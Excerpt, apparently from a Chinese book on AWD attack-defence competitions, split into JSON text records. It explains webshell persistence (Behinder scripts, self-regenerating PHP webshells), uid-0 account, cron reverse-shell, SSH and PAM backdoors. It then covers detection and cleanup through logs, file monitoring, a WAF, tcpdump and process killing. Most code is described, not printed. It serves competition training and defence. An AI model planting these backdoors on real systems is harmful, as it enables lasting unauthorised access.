    {"text": "6 . 1 . 2 冰 蝎 木 马 1 . 冰 蝎 木 马 原 理 以冰蝎2.1版本的一句话木马为例，代码如下： 在竞赛中，通过冰蝎客户端一个一个连接冰蝎木马太过烦琐，我们需要能快速批量地通过脚本去利用执行，所以下面重点分析一下冰蝎木马对执行命令的解密方式及命令格式部分。 冰蝎木马对执行命令的解密有两种方式：第一，如果服务端开启了openssl，会直接使用AES128方式解密；"},
    {"text": "2 . P y t h o n 脚 本 利 用 （ 1 ） o p e n s s l 加 密 方 式 在PHP中，openssl加解密非常简单，解密方式在冰蝎木马中已给出，openssl_decrypt ($post，\"AES128\"，$key)，对应的加密方式则是：@openssl_encrypt($cmd，\"AES128\"，$key)。 如果通过Python调用openssl来加密传输比较麻烦，我们可以写一个简单的PHP加密页面，如图6-7所示，传入key和明文命令cmd输出AES128加密后的密文，在Python脚本中只需要交互获取此页面的加密结果即可。 图6-7 PHP openssl加密代码 Python脚本部分代码如下，使用时需要注意，target是指目标冰蝎木马地址，pwd是冰蝎木马的密码参数，cmd是要执行的PHP代码，aes_url是指上述PHP加密页面地址。"},
    {"text": "图6-8 Python利用冰蝎木马（一） （ 2 ） 异 或 代 码 加 密 方 式 当服务器不支持openssl时，冰蝎木马会使用预置的加密代码进行加密传输，这段加密代码实际是进行异或操作，前文已讲述过。 已知冰蝎木马的解密方式，一个数连续两次异或，另一个数不变，只需要把这部分PHP代码改写成Python代码即可，如下所示： 脚本的其他部分与之前类似，只需要将Payload做一次xor加密即可，代码如下，效果如图6-9所示。"},
    {"text": "图6-10 AWD靶机主页面 我们先将整个源码在D盾中运行一下，看看存在哪些后门。 如图6-11所示，排除phpinfo，D盾识别出了4个可疑点，级别2～5均有。 图6-11 D盾识别可疑后门 按照级别从高到低依次看一下。 首先是级别为5的可疑文件contact.php，直接被识别为已知后门，关键代码如下： 这段代码实现了任意文件读取，只要利用GET方式传入path参数，就能读取任意文件，利用效果如图6-12所示。 图6-12 任意文件读取后门 接下来看级别为4的可疑文件index.php，它被识别为Eval后门，关键代码如下： 以上是一个典型的PHP一句话后门，传入参数aa即可执行代码，如图6-13所示。 图6-13 一句话后门利用 再看级别为3的可疑文件about.php，它被识别出有可疑引用并给出了可疑方法，关键代码如下： 以上是一个简单的文件包含漏洞，参数可控，利用GET方式传入file参数即可包含，利用效果如图6-14所示。"},
    {"text": "简单分析代码后我们会发现，代码会先读取最后的不可见字符，通过自身算法计算得到$out，然后将$out进行base64解码，写入以空格命名的文件包含，最后使用unlink删除。 那我们在源代码处加一条语句print(base64_decode($out));，查看一下包含的内容是什么，输出内容如下（源代码查看）： 可见，此段代码生成了一个一句话木马后门，页面执行完后一句话文件会被删除，手段非常隐蔽。"},
    {"text": "▲图6-15 存在大量不可见的Hex字符 图6-16 空白隐写后门利用 遇到此类的隐写后门不用着急，只要耐心地一步步分析阅读，插入打印函数并不断调试输出，后门就会原形毕露。"},
    {"text": "通常AWD竞赛给予的靶机运维操作权限并不高，如果参赛队伍不清楚如何制约不死马，只是删除木马文件，那么就会导致对手一直利用不死马来获取自身flag，即使修复站点漏洞也无法阻止。 1 . 不 死 马 的 原 理 在AWD竞赛中，不死马对于维持权限十分有效，下面来看一个简单的不死马源码。"},
    {"text": "●ignore_user_abort(1)：PHP中的ignore_user_abort()函数的作用是，当用户关闭终端后，若脚本仍然在执行，可以用它来实现计划任务与持续进程。"},
    {"text": "●while(1)：无限循环，循环中file_put_contents()函数把字符串写入文件中，这里将PHP一句话木马<?php eval（$_POST[\"a\"]）;?>写入名为.test.php的隐藏文件中，usleep()函数延迟执行当前脚本，即每隔1000μs会写入新的木马.test.php文件中。 从上述的分析可以看到，不死马的核心在于其中的循环语句，通过执行不死马，会每隔1000μs不断地在当前目录中生成.test.php一句话木马，而不死马文件本身也通过unlink函数删除了。 所以对于不死马，直接删除文件是没有用的，因为PHP执行的时候已经把无限循环代码读进去并解释成opcode运行，没有杀掉进程权限的话是无法停止的。 即使删除.test.php文件，新木马文件也会在1000μs后生成，即使进行靶机漏洞修复，攻击队伍也能通过.test.php后门来直接获取靶机flag。"},
    {"text": "PHP执行代码会经过4个步骤：Scanning（Lexing）、Parsing、Compilation、Execution。 第三步会将第二步的表达式编译成opcode，第四步会顺次执行opcode，从而实现PHP脚本功能。 opcode存于缓存中，每次有请求来临的时候，就不需要重复执行前面3步，从而能大幅提高PHP的执行速度。"},
    {"text": "2 . 不 死 马 的 使 用 方 法 不死马生成的一句话木马是可以自己定义的，上一小节介绍的一句话木马很容易被其他队伍直接利用，可以定义一个带pass参数的一句话木马，代码如下所示。"},
    {"text": "图6-18 不死马生成的木马文件 通过利用不死马生成的木马文件可以轻松获取靶机flag，如图6-19所示。 图6-19 利用不死马获取flag 3 . 不 死 马 的 克 制 方 法 不死马驻留在进程缓存中，无法通过常规删除木马文件的方式清除。"},
    {"text": "在AWD竞赛中，选手可以要求主办方自行重启靶机，但重启的前提是一定要修复靶机漏洞，否则对手很可能会通过自动攻击脚本在重启后的第一时间利用漏洞植入不死马。 但不同的比赛，规则不同，有的AWD竞赛中，可能主办方只能重置靶机，也不允许选手自行重启，那么我们可以通过杀掉进程的方式来停止不死马的生成，当然这需要在拥有系统权限的情况下。"},
    {"text": "根据前面的示例，我们来观察下不死马激活前后系统进程的变化。 如图6-20所示，激活不死马后，系统进程中多了一个apache2进程，而且原有apache2进程的TIME列发生了变化。"},
    {"text": "我们尝试杀掉这两个进程，或者杀掉www-data用户的所有子进程，此时删除.test.php文件后发现不会再自动生成木马文件，如图6-21所示，这也算是一个清除不死马的方法。 竞赛中可以尝试杀掉apache2所有子进程，方法为system(\"kill `ps-aux | grep www-data | grep apache2 | awk '{print $2}'`\");，前提也是要完成漏洞修复。"},
    {"text": "我们准备一个清除文件del.php，原理和不死马一致，将写入的文件名改为对手植入不死马生成文件的同名，比如示例中是.test.php，然后将写入.test.php的内容修改为无害内容，usleep()函数参数值需要比对手不死马的小，整体代码如下。 ▲图6-20 不死马激活进程变化 图6-21 通过杀掉进程来杀死不死马 将清除文件del.php上传至不死马所在路径，然后访问激活执行，可以发现.test.php内容已被替换，如图6-22所示。 图6-22 条件竞争制约不死马 除了条件竞争，还可以创建一个和不死马生成的木马名字一样的目录，例如这里创建一个名为.test.php的目录，命令是rm-rf.test.php|mkdir.test.php，如图6-23所示，可能需要多执行几次。 图6-23 创建一个和不死马生成的木马名字一样的目录 成功创建后，因为同名目录的存在，不死马进程无法再生成.test.php文件，致使不死马失效，如图6-24所示。"},
    {"text": "6.2 系统账户后门 6 . 2 系 统 账 户 后 门 系统账户后门是一种最简单、有效的权限维持方式。攻击者在获取目标系统权限的前提下，通过创建一个系统账户作为持久化的据点，即可随时通过工具连接到目标系统，达到对目标主机进行长久控制的目的。根据获取的shell模式不同，创建系统账户的方式也不同，shell模式通常可以分为交互模式和非交互模式两种。 1 . 当 s h e l l 为 交 互 模 式 时 创 建 系 统 账 户 当获取到目标系统的shell权限为交互模式时，攻击者和目标系统可以进行数据交互，根据系统反馈的提示信息创建系统账户和设置登录口令。我们可以使用usersdd和passwd指令创建test账户并对该账户设置登录口令，具体如下。 也可以将test账户写入/etc/passwd文件，然后通过passwd指令设置test账户的口令： 2 . 当 s h e l l 为 非 交 互 模 式 时 创 建 系 统 账 户 当获取到目标系统的shell权限为非交互模式时，比如WebShell等，不能获取到系统的提示信息，也不能使用vim、vi等编辑工具，就不能直接通过passwd指令设置登录口令了。此时，我们可以使用useradd指令创建test账户，``符号内存放可执行的系统命令，设置该账户的登录口令： 通过useradd指令创建一个test账户，然后通过echo-e指令设置test账户的口令： 通过useradd指令创建一个test账户，\"$()\"也可以存放命令执行语句，设置该账户的登录口令： 如下是在root组创建一个test账户，设置该账户的登录口令为123456，-u 0表示设置该账户的uid为0，-g root-G root将账户添加到root组，-s/bin/bash指定新建账户的shell路径。 查询当前Linux系统隐藏的系统账户后门，可以通过查询/etc/passwd文件中新增的潜藏用户，也可以通过awk指令查询uid=0和uid>=500的用户名（1<=uid<500，不能用于登录系统或管理系统），如图6-25所示。 图6-25 通过awk指令查询用户名 6.3 时间计划后门 6 . 3 时 间 计 划 后 门 crond是Linux系统中用来周期性地执行某种任务或等待处理某些事件的一个守护进程。与Windows下的计划任务类似，当安装操作系统后，默认会安装此服务工具，并且会自动启动crond进程。crond进程每分钟定期检查是否有要执行的任务，如果有，则自动执行该任务。Linux下的任务调度分为两类：系统任务调度和用户任务调度。 1）系统任务调度：系统周期性所要执行的工作，比如写缓存数据到硬盘、日志清理等。在/etc目录下有一个crontab文件，这个就是系统任务调度的配置文件。 2）用户任务调度：用户定期要执行的工作，比如用户数据备份、定时邮件提醒等。用户可以使用crontab工具来定制时间计划任务。 攻击者在获取目标系统权限的前提下，通过用户任务调度创建一个持久化的据点，crond会根据攻击者设置的时间计划执行，进而达到对目标主机的长久控制。首先创建一个shell脚本，如下所示，向主机192.168.144.3的45233端口反弹shell，将其命名为evil.sh，将脚本存储在/etc/evil.sh目录下，并修改evi.sh的执行权限。 方法一：在/etc目录下的crontab文件中添加*/1****root/etc/evil.sh，在启动crontab任务时就会每分钟执行一次/etc/evil.sh脚本，反弹shell到控制终端。 方法二：在shell终端中执行“crontab-e”，进入编辑器，添加*/1****/etc/evil.sh，再重启crontab任务，之后每分钟都会执行一次/etc/evil.sh脚本，反弹shell到控制终端。 在控制终端执行nc指令进行本地监听，监听远程主机192.168.186.132的shell控制权限，执行过程如图6-26所示。 图6-26 本地主机监听远程主机反弹的shell 要排查系统存在的crontab定时任务后门，首先可以通过查询/var/log目录下的cron.log日志，检查系统是否执行可疑的文件或者系统命令，然后执行“crontab-l”，列出当前存在的计划任务列表，对执行可疑的文件或系统命令进行定位。如没有发现可疑操作，再继续检查crontab文件、cron*目录、rc.local等，看看其中是否存在执行可疑文件或者系统命令的操作。执行过程如图6-27所示。 图6-27 cron.log日志记录反弹shell"},
    {"text": "6.4 SSH类后门 6 . 4 S S H 类 后 门 对于Linux系统来说，因为SSH服务端的应用广泛且具有远程网络连接功能，所以SSH类后门是攻击者最常用的一种方式。SSH类后门利用方式有很多，这里简单介绍最常见的3种类型：SSH软连接后门、SSH Server Wrapper后门、SSH公钥免密登录。 6 . 4 . 1 S S H 软 连 接 后 门 攻击者在建立完软连接后可以实现任意密码远程连接主机，当通过特定的端口连接SSH后，应用在启动过程中就会找相应的配置文件。例如：软链接文件为/tmp/su，那么应用就会找到/etc/pam.d/su作为配置文件，最终实现免密登录。建立软件后门通常需要两个前提条件： 1）sshd服务启用了PAM认证机制，即在/etc/ssh目录下的sshd_config文件中，UsePAM参数为yes。当程序执行时，PAM模块则会自动搜寻PAM相关设定文件/etc/pam.d/。 2）在/etc/pam.d/目录下包含auth sufficient pam_rootok.so配置。pam_rootok.so的主要作用是使得uid为0的用户（即管理员）实现免密登录远程主机。 查询sshd服务是否启用了PAM认证机制，可通过如下命令查询系统sshd_config文件中的UsePAM参数设置是否为yes：>>>cat/etc/ssh/sshd_config|grep UsePAM。 通过find命令，查询/etc/pam.d/目录下包含auth sufficient pam_rootok.so配置的文件：>>>find/etc/pam.d|xargs grep\"pam_rootok\"。 使用ln命令建立/usr/sbin/sshd和/tmp/su软连接，设置端口为1234，创建软连接后门。攻击者在控制端通过SSH协议输入任意口令，便可以成功登录目标服务器。执行过程如图6-28所示。 图6-28 通过SSH协议连接到目标主机 SSH软连接后门会开启监听端口，通过netstat命令查询异常的外部网络连接、监听端口及进程，然后使用ll命令排查该文件是否为SSH软连接。如果是SSH软连接，后门要删除对应的系统进程，并清理软连接后门文件，执行过程如图6-29所示。 图6-29 查找异常端口、进程、配置文件并清除 6 . 4 . 2 S S H S e r v e r W r a p p e r 后 门 利用SSH Server Wrapper后门，攻击者可以在本地控制端通过socat命令实现对目标主机的长期控制。攻击者通过socat命令向目标服务端发起SSH请求时，目标服务端首先启动/usr/sbin/sshd脚本。当程序执行到getpeername时，由于正则匹配失败，程序便会继续向下执行，启动/usr/bin/ssh。当原始的sshd监听端口建立了TCP连接后，会派生一个子进程，直接执行系统默认的/usr/sbin/sshd配置文件，此时子进程被重定向到套接字，getpeername获取到客户端的TCP源端口，如果端口是13377，就会给远程控制端执行一个命令控制终端。执行过程如下： 攻击者在本地控制端便可以通过socat命令连接远程主机的22端口，连接后不用输入登录口令便可获取远程主机的控制权限。执行过程如图6-30所示。 图6-30 通过socat命令连接远程主机 SSH Server Wrapper后门方式隐蔽性较高，通常不易被管理员发现，且适用于多数的Linux系统环境。排查SSH Server Wrapper后门时，通常需要查看/usr/sbin/sshd脚本内容，以确定没有被更改。 6 . 4 . 3 S S H 公 钥 免 密 登 录 在获取目标主机远程控制权限的前提下，将本地控制端生成的SSH公钥复制到远程目标主机的/root/.ssh目录下的authorized_keys文件中，攻击者便可以在本地控制端通过SSH命令实现对目标主机的长期控制，执行过程如图6-31所示。 执行ssh-keygen指令生成SSH密钥，最终生成的密钥保存在/home/kali/.ssh/目录下。 如图6-32所示，通过cat指令打开生成的id_rsa.pub公钥，并复制公钥到目标服务器的/beta/.ssh/authorized_keys文件中，如果是root用户，目录为/root/.ssh/authorized_keys。 攻击者在本地控制端执行SSH指令，输入远程的用户名、主机IP地址后，便可以实现对远程服务器的免密登录及控制，执行过程如图6-33所示。 ▲图6-31 本地生成SSH公钥 ▲图6-32 复制生成的SSH公钥 图6-33 SSH免密远程连接 通过SSH公钥免密的方式通常不易被管理员发现，排查SSH公钥后门时，通常需要检查/root/.ssh目录下authorized_keys文件的内容，以确定没有被更改。"},
    {"text": "6.5 PAM后门 6 . 5 P A M 后 门 PAM（Pluggable Authentication Module，身份验证模块）是由Sun公司提出的一种认证机制。PAM通过提供一些动态链接库和一套统一的API接口，将系统提供的服务和认证分开。系统管理员可以利用PAM灵活地根据需要给不同的服务配置、不同的认证方式提供验证机制。我们在登录系统认证时，统一由PAM来验证登录口令是否正确，正因为如此，我们可以通过修改PAM的验证逻辑，使其在一定条件下不与shadow文件中存储的密码校验，从而达到作为后门的目的。 首先，使用dpkg指令查询目标系统使用PAM的版本号，如图6-34所示，目标系统Ubuntu使用的PAM版本为1.3.1。 图6-34 在目标系统查询PAM版本 然后通过find指令，查询目标服务器pam_unix.so文件的存储位置，如图6-35所示，当前pam_unix.so文件存储在/usr/lib/x86_64-linux-gnu/security/目录下。 图6-35 查询pam_unix.so文件的存储位置 接着在官网下载与目标系统相同版本的PAM文件，并通过tar指令进行减压，命令如下： 打开下载的PAM文件，并对Linux-PAM-1.3.1/modules/pam_unix目录下的pam_unix_auth.c源码文件进行修改。修改过程如图6-36所示，设置后门的登录口令为passw0rd。 图6-36 在目标系统中查询PAM版本 当前实验环境的目标服务器为Ubuntu 20.04.1，在目标系统中通过apt指令安装所需要的依赖包，并执行./configure & make对PAM源码进行编译，编译完成的pam_unix.so文件存储在Linux-PAM-1.3.1/modules/pam_unix/.libs/pam_unix.so目录下，执行过程如下： 用编译完成的pam.unix.so文件替换目标服务器的pam_unix.so文件，之后便可以通过之前设置的登录口令在目标服务器中进行远程登录，如图6-37所示。 PAM后门隐蔽性较高，通常不易被管理员发现，并且该方法可适用于多数的Linux系统环境。由于PAM后门方式是通过替换原始的PAM文件实现的，因此可以通过查看PAM文件的修改时间是否存在异常，如图6-38所示，也可以通过反编译pam_unix.so文件，以对源码进行审计的方式，确定服务器是否存在PAM后门，如图6-39所示。 ▲图6-37 通过SSH协议登录目标服务器 ▲图6-38 查询pam_unix.so文件的修改时间 图6-39 反编译pam_unix.so文件并进行源码审计 第7章 安全监控与应急处置 第 7 章 安 全 监 控 与 应 急 处 置 主机安全监控和应急处置是AWD竞赛中非常重要的环节，通过对主机的安全监控能够发现其他参赛队伍的攻击行为，并及时采取相应措施。此外，还可以参考其他队伍的攻击行为，及时发现主机未修复的安全问题。应急处置是针对当前主机被其他队伍入侵，及时截断攻击者正在进行的攻击行为和清理攻击者遗留的木马文件的处置方式，这一环节可以减少被攻击后导致的分值流失。本章介绍常规的入侵分析方法、安全监控方式和应急处置技巧，对日常工作和安全竞赛都有帮助。"},
    {"text": "7.1 主机安全监控 7 . 1 主 机 安 全 监 控 为了能够及时发现主机的攻击行为，最有效、便捷的方法就是对当前主机的日志、文件、进程以及网络流量进行有效监控。 例如通过日志分析攻击者异常登录行为、网站攻击行为等，通过文件的创建时间、修改时间分析攻击者文件上传操作、遗留后门木马等，通过进程分析当前主机与攻击者网络会话情况、系统权限提升操作等，通过获取的网络流量分析未加密的网络攻击行为等，对攻击行为进行有效阻断和漏洞修复。"},
    {"text": "Linux系统的日志主要分为3种类型：系统日志、用户日志和程序日志。 系统日志由Linux的rsyslog系统服务统一管理，主要记录系统的运行状态等； 用户日志主要记录用户登录和退出Linux系统的行为，包括用户名、登录终端、登录时间、来源主机、占用的进程等； 程序日志用于记录应用程序运行过程中的各种事件信息，此类日志的种类和数量由系统中应用程序的数量和种类决定，其中重要的有数据库运行日志、We b服务运行日志等。"},
    {"text": "secure或auth.log日志主要用来记录用户认证相关的安全事件信息，因此可以通过监控secure或auth.log日志内容分析攻击者的攻击方式，如口令猜解、SSH隧道代理等。"},
    {"text": "如图7-1所示，auth.log日志记录了beta用户SSH登录系统后，添加新用户snail的操作。 图7-1 auth.log日志记录添加新用户的操作 MySQL拥有详尽的日志记录功能，通常包含4种日志类型：二进制日志、错误日志、通用查询日志和慢查询日志。"},
    {"text": "一般情况下，通用查询日志用来对攻击行为进行分析，如MySQL数据库口令猜解、SQL注入攻击、存储型XSS攻击、数据库写入木马文件、权限提升、窃取备份等。"},
    {"text": "如图7-2所示，MySQL数据库日志beta.log记录了攻击者通过数据库向/var/www/html/目录下写一句话木马的操作。 图7-2 MySQL日志记录了攻击者通过数据库写一句话木马的行为 通常情况下，中间件生成的日志可对We b服务的攻击行为进行分析。"},
    {"text": "常用的中间件包括Apache、Nginx、Tomcat等，这些中间件的日志类型通常都包括访问日志和错误日志，访问日志用于记录客户端访问服务器的行为，包括客户端IP、浏览器信息、请求处理时间、请求的URL等，错误日志用于记录服务器和请求处理过程中的错误信息。 使用中间件的访问日志可对攻击方式进行分析，如命令执行、SQL注入攻击、XSS攻击、数据库写入木马文件、文件包含等。"},
    {"text": "图7-3 Apache日志分析 通常我们使用cat或tail命令查看日志文件，如果这些命令输出的日志内容没有高亮设置和格式化处理，则不利于阅读和查找关键信息。"},
    {"text": "这里推荐一款Linux系统的日志查看工具—lnav（Log File Navigator），它可以即时解压缩所有压缩的日志文件并将它们合并在一起进行高亮显示，还可以根据错误、警告的类型对显示进行解析和格式化，有助于管理者快速阅读日志内容和定位关键信息。"},
    {"text": "目前大多数文件监控脚本通过Python编写，运行方便，监控直观明了，但是缺点也较为明显：如果靶机中缺乏需要的Python库和第三方模块文件，则运行困难。"},
    {"text": "图7-6 Python脚本发现WebShell文件以及恢复 除此之外，AoiAWD工具也提供了文件监控功能（AoiAWD详细安装过程见7.1.3节），但是总体使用效果并不理想，比如会出现文件的新建、写入、修改等（见图7-7），较难被应急人员发现重点内容，而且新增的文件没有自动删除，修改的文件也没有恢复为原始文件，所以这里不再展开介绍。 图7-7 AoiAWD文件监控的运行文件 由于AoiAWD的不完善记录以及Python脚本需要安装Python，因此我们使用Go语言自己开发一个文件监控恢复系统，记录文件是否被修改过。"},
    {"text": "4）若文件名为新文件，则判断此文件为木马文件（笔者这里没有增加直接删除新文件的功能，主要是为了查看一下新文件的内容）。 我们依照以上4条功能，结合实际使用环境，设置了两种文件监控方法：一种是把需要监控的文件md5值写入recordmd.txt文件中，若文件被修改，则其md5肯定会改变，对照recordmd.txt文件的md5值，从而发现被修改的文件；"},
    {"text": "图7-8 文件监控发现病毒木马文件以及恢复文件 使用此代码的好处较多：系统中不需要第三方pip库文件，不需要系统中存在Python基础环境，在离线状态下较为方便、易用。"},
    {"text": "7 . 1 . 3 流 量 监 控 攻击者是通过互联网对目标主机发起攻击的，在目标主机上能接收到攻击者恶意的网络请求流量，包括Web服务的恶意攻击、远程连接服务口令猜解、系统远程溢出漏洞利用等。 通过对访问请求的流量进行监控，能够帮助安全运维人员对攻击行为进行全面、有效的分析。"},
    {"text": "1 . W A F 流 量 监 控 WAF的作用主要有两个：一是流量监控，也是最关键的一点，当其他队伍攻击我方队伍时，就可以利用WAF捕获别人的攻击方式，这样即使我们找不到漏洞攻击点，也能通过分析流量来使用其他队伍的攻击方式；"},
    {"text": "主办方会使用检测机制来检查是否部署了通防WAF，而且部署WAF后要检查靶机业务服务是否正常可用，可能会出现业务误报阻断等情况，所以需谨慎使用。"},
    {"text": "（ 1 ） W a t c h b i r d 项 目 介 绍 Watchbird是一款开源WAF项目，采用PHP+JS+CSS编写而成，为单文件设计模式，可以随时开启/关闭某项防御，具有实时日志查看、日志流量重放、防御通知等功能。 Watchbird基本防御包括数据库注入（SQL Injection）、文件上传、文件包含、flag关键字检测、PHP反序列化、命令执行、分布式拒绝服务攻击（DDoS）、请求头和请求参数（GET/POST）关键字检测、特殊字符检测。 Watchbird深度防御包含响应检测/反向代理（默认将流量发送至本地服务器自检，可配置代理服务器IP及端口实现反代功能）、响应flag检测并返回虚假flag、基于LD_PRELOAD的指令执行保护、基于open_basedir的PHP文件操作保护。 （ 2 ） W a t c h b i r d 部 署 方 式 1）下载最新的releases，解压后得到waf.so和watchbird.php两个文件，将两个文件放到中间件html目录下，确保当前用户对靶机目录可写，然后执行php watchbird.php--install [靶机目录]，安装器会输出安装了Watchbird的文件路径，如图7-9所示。 图7-9 Watchbird部署过程 2）访问任意安装了Watchbird的网站文件，添加参数？ watchbird=ui即可打开Watchbird控制台页面，初次登录需要初始化密码，如图7-10所示。 3）如需卸载，执行php watchbird.php--uninstall [靶机目录]，如果之前多次运行了安装程序，需要多次运行卸载程序直到卸载器无输出。 （ 3 ） W a t c h b i r d 使 用 演 示 我们以4.3.3节的message站点靶机为例，首先按照上述步骤部署Watchbird，然后在用户信息修改页面editinfo.php加上Watchbird参数，进入控制台页面，如图7-11所示，我们可以自定义开关WAF防护功能、自定义修改伪造的flag值以及设置参数黑白名单等。 ▲图7-10 Watchbird初始化登录 图7-11 Watchbird控制台页面 以editinfo.php页面的文件包含漏洞为例，在不挂载WAF的情况下，访问http://ip/awd1/msgarea/editinfo.php?filename=../../../../../../../../flag可以成功包含flag文件，当挂载WAF并开启文件包含漏洞防护后，漏洞利用就会被WAF阻断，效果如图7-12所示。 在Watchbird日志功能页面中，能够自动实时更新攻击日志、Web访问日志、获取flag行为日志，如图7-13所示，日志包含攻击成功的EXP，比赛时可以直接用于攻击其他队伍。 ▲图7-12 文件包含漏洞被WAF阻断 图7-13 Watchbird日志功能页面 当开启flag伪造功能时，通过靶机Web漏洞利用读取的flag会被篡改为自定义的假flag值，如图7-14所示，但注意，通过漏洞获取系统Shell来读取的flag是无法篡改的。 图7-14 Watchbird flag篡改功能 2 . T C P D u m p 流 量 监 控 在Linux系统中，获取主机上下行网络流量最常用的工具就是TCPDump，利用TCPDump工具可以拦截和显示网络连接到该计算机的网络流量数据，支持针对网络层、协议、主机、网络或端口等类型的过滤方式。"},
    {"text": "通过TCPDump工具获取网络流量进行分析的商业安全设备有很多，如流量审计类设备、流量控制类设备等。 在日常工作或网安竞赛中也可以使用TCPDump工具进行流量监控，分析攻击者的攻击流量。 相对于日志监控和文件监控，流量监控是对攻击行为分析最全面和便捷的一种方法了。 由于TCPDump默认情况下获取的是监听网卡的全部流量，涉及的网络流量非常多，人工很难在众多的流量中寻找到关键信息，因此可以使用AND、OR等逻辑语句协助过滤掉无用的流量信息等。 图7-15所示为通过TCPDump监控HTTP协议流量，tcp[20:2]=0x4745/0x4854/0x504F表示过滤21、22字节处为GT/HT/PO的数据包，即为过滤TCP头部OPTIONS字段中具有GET/HTTP/POST特征的数据包。 图7-15 TCPDump监控HTTP协议流量 除了使用TCPDump监控用户的HTTP请求流量，还可以使用过滤语句监控其他服务，比如SSH/FTP/TELNET服务、数据库服务等，图7-16所示通过TCPDump监控MySQL数据库的流量。 图7-16 TCPDump监控MySQL数据库的流量 3 . A o i A W D 流 量 监 控 当流量监控中发现TCPDump没有权限时，有一个很好用的工具—AoiAWD。"},
    {"text": "由于这里以监控Web页面流量为主，因此重点说明tapeworm.phar。 tapeworm.phar有两个参数，其中-d表示Web网站所在的路径，-s表示tapeworm.phar抓取流量后反弹到AoiAWD所在的服务器IP地址和端口。"},
    {"text": "图7-17 AoiAWD登录后的页面 比如在kali中安装了AoiAWD，kali的IP地址为192.168.36.129，那么登录的网址就是http://192.168.36.129:1337，密码就是451fade7e4512e26，探针回传的数据端口为192.168.36.129:8023。"},
    {"text": "假设Web网站所在系统为Ubuntu，路径为/ubu/var/www/html，那么将tapeworm.phar放入Ubuntu系统有执行权限的目录下，这里放入/tmp目录下，执行./tapeworm.phar-d/ubu/var/www/html-s 192.168.36.129:8023。 接着访问Ubuntu中的Web网站，tapeworm.phar探针就会将访问记录回传到192.168.36.129的8023端口中。"},
    {"text": "图7-18 攻击者执行的命令 双击访问的URL链接，即可观察到详细的数据包内容。 如图7-19所示，双击URL链接后，即可看到发送的数据包以及返回的数据内容。"},
    {"text": "7.2 主机应急处置 7 . 2 主 机 应 急 处 置 当主机监控到攻击者的入侵行为时，对于正在尝试入侵的攻击行为及时阻断攻击，添加相应的安全策略，然后对目标服务和攻击源做进一步安全排查。 对于发现疑似成功入侵的攻击行为，要对入侵的行为及时阻断、增加安全策略、木马文件和隐藏后门的排查处置。 本节主要介绍主机应急处置的相关内容，包括攻击者入侵行为排查、后门木马的处置和Linux系统安全防护策略的配置。"},
    {"text": "7 . 2 . 1 入 侵 排 查 及 木 马 清 理 1 . W e b 类 木 马 排 查 及 清 理 方 法 在AWD竞赛中，对方通过Web漏洞攻陷靶机后会进行权限维持，通常首先会对靶机植入Web木马，即使修复了网站Web漏洞，对方选手依旧可以通过Web木马建立Shell连接来获取flag。"},
    {"text": "利用grep命令排查包含恶意关键字的PHP文件，执行过程如图7-20所示。 图7-20 排查包含eval关键字的PHP文件 利用find命令排查包含恶意关键字的PHP文件，执行过程如图7-21所示。 图7-21 利用find命令排查包含恶意关键字的PHP文件 利用find命令寻找行数最短文件，执行过程如图7-22所示。"},
    {"text": "图7-23 查找近期修改过的文件 （ 2 ） 常 规 W e b S h e l l 查 杀 不定时打包网站源码，使用D盾或河马WebShell等查杀工具对网站源码进行扫描，如图7-24所示，使用D盾对靶机HTML源码文件夹进行木马扫描，能够检测到常规Web木马，但对于一些木马变种，D盾可能只会显示为可疑文件，需要选手自行判断。 图7-24 D盾查杀Web木马 （ 3 ） 不 死 马 查 杀 不死马驻留在进程缓存中，无法通过常规删除木马文件的方式清除，实现原理可参考6.1.1节。"},
    {"text": "不死马可以无限循环不断写入创建一个PHP文件，那么通过创建一个与不死马生成小马同名的文件夹，就可以克制其无限生成。 如图7-26所示，.x1.php是不死马无限生成的小马，可以利用如下命令生成一个名为.x1.php文件夹（可能会提示文件存在，此时多执行几次命令即可成功），此时不死马就无法再重写成文件了。 ▲图7-25 杀掉apache2子进程的方式删除不死马 图7-26 建立同名文件夹克制不死马生成 3）条件竞争。 这个方法是需要写一个延时短于对方不死马的木马，利用生成时间差来覆盖或删除对方的不死马内容，但如果对方不死马中没有调用usleep()函数进行延时的话，是无法成功的，所以有一定的局限性，不太推荐。 比如对方的不死马延时函数为usleep（1000），我们可以写一个延时函数为usleep（0）的不死马来不断覆盖对方不死马生成小马里的内容，假设.x1.php是对方不死马生成小马的名字，内容是一句话木马，我们写一个不死马del.php如下。 访问del.php后，会零延迟生成.x1.php，但其文件内容会被覆盖成“NO HACK!!!”，从而使对方不死马失效，如图7-27所示。 图7-27 条件竞争使不死马失效 注 意 ： 使用这3种方法前务必先修复可写入Web木马的漏洞，否则删除后对方还会通过漏洞来植入新的不死马。 2 . 可 执 行 文 件 类 木 马 排 查 与 清 理 方 法 通过WebShell的方式对远程的服务系统控制存在很多弊端，如上传的Web木马后门容易被发现和清除、命令终端为非交互式的shell、返回的结果编码问题、后渗透工具使用不便捷等。"},
    {"text": "如图7-28所示，外部地址的连接端口9999为非通用端口号、执行的程序名称shell.elf为非常规程序名称以及连接状态为ESTABLISHD，则可判定该连接为可疑的网络连接。"},
    {"text": "图7-28 查询外部地址网络连接情况 /proc是一个虚拟的文件系统，以文件系统目录和文件的形式提供一个指向内核数据结构的接口，在/proc/PID/目录中包含关于对应PID进程的相关信息，我们可以通过上述获得的异常网络连接的PID，进而查询到木马文件的绝对路径，执行过程如图7-29所示。"},
    {"text": "在Linux系统中都是以文件的形式存在，通过文件不仅可以访问常规数据，还可以访问网络连接和硬件，如文件、目录、特殊块文件、管道、Socket套接字、设备、UNIX域套接字等。"},
    {"text": "因此，在木马排查过程中也可以使用lsof命令查询木马程序的绝对路径、本地端口、外部IP地址和端口号，执行过程如图7-30所示。 图7-30 使用lsof命令查询木马程序的绝对路径、外部地址连接等信息 使用kill-9 14482命令可终止正在运行的木马文件进程，阻断黑客的攻击行为，然后再利用rm-rf /tmp/.1/shell.elf命令即可清除查找到的木马文件。 当管理员或普通用户具有读、写、执行权限，但又不能删除该木马文件时，可以利用lsattr命令查看木马文件是否设置了i属性（系统不允许对该文件进行任何操作），如图7-31所示。 图7-31 lsattr命令查看木马文件属性 若存在i属性，可以使用chattr-i去掉i属性，接着使用rm-rf删除文件即可。"},
    {"text": "图7-32 chattr命令更改文件属性和木马文件清理 如果已通过kill命令终止了恶意进程，之后又出现了新的恶意进程，此时需要排查攻击者是否篡改了Linux系统的定时任务，可以通过查询/var/log/cron.log日志，检查系统是否执行可疑的文件或者系统命令。"},
    {"text": "如没有发现可疑操作，再继续检查crontab文件、cron*目录、rc.local等是否存在执行可疑文件或者系统命令的操作，执行过程如图7-34所示。"},
